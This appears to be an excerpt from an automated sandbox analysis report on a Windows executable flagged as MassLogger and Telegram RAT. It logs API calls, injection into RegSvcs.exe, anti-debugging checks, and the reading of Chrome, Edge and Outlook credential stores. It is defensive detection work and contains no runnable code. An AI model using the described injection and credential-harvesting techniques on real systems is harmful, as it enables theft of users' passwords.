Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599435	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599308	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598339	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598112	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597870	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597728	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597616	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597512	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595044	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594174	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593911	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592813	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 5414			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4401			Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_5-105602

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

API coverage: 4.7 %

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086445A GetFileAttributesW,FindFirstFileW,FindClose,	5_2_0086445A
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086C6D1 FindFirstFileW,FindClose,	5_2_0086C6D1
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_0086C75C
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_0086EF95
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_0086F0F2
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_0086F3F3
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008637EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_008637EF
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00863B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_00863B12
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0086BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_0086BCBC

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_008049A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599435	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599308	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598339	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598112	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597870	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597728	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597616	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597512	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595044	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594174	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593911	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592813	Jump to behavior

Source: RegSvcs.exe, 00000008.00000002.3730410254.0000000000A58000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

API call chain: ExitProcess graph end node

graph_5-104158

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00873F09 BlockInput,

5_2_00873F09

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00803B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00803B3A

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00835A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_00835A7C

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00804B37 LoadLibraryA,GetProcAddress,

5_2_00804B37

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00E56190 mov eax, dword ptr fs:[00000030h]	5_2_00E56190
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00E56130 mov eax, dword ptr fs:[00000030h]	5_2_00E56130
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00E54B00 mov eax, dword ptr fs:[00000030h]	5_2_00E54B00

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008580A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

5_2_008580A9

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082A124 SetUnhandledExceptionFilter,		5_2_0082A124
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		5_2_0082A155

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 587008

Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008587B1 LogonUserW,

5_2_008587B1

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00803B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00803B3A

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

5_2_008048D7

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00864C27 mouse_event,

5_2_00864C27

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\JWPRnfqs3n.exe"

Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00857CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

5_2_00857CAF

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0085874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

5_2_0085874B

Source: JWPRnfqs3n.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: JWPRnfqs3n.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0082862B cpuid

5_2_0082862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00834E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00834E87

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00841E06 GetUserNameW,

5_2_00841E06

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00833F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

5_2_00833F3A

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_008049A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: JWPRnfqs3n.exe	Binary or memory string: WIN_81
Source: JWPRnfqs3n.exe	Binary or memory string: WIN_XP
Source: JWPRnfqs3n.exe	Binary or memory string: WIN_XPe
Source: JWPRnfqs3n.exe	Binary or memory string: WIN_VISTA
Source: JWPRnfqs3n.exe	Binary or memory string: WIN_7
Source: JWPRnfqs3n.exe	Binary or memory string: WIN_8
Source: JWPRnfqs3n.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE
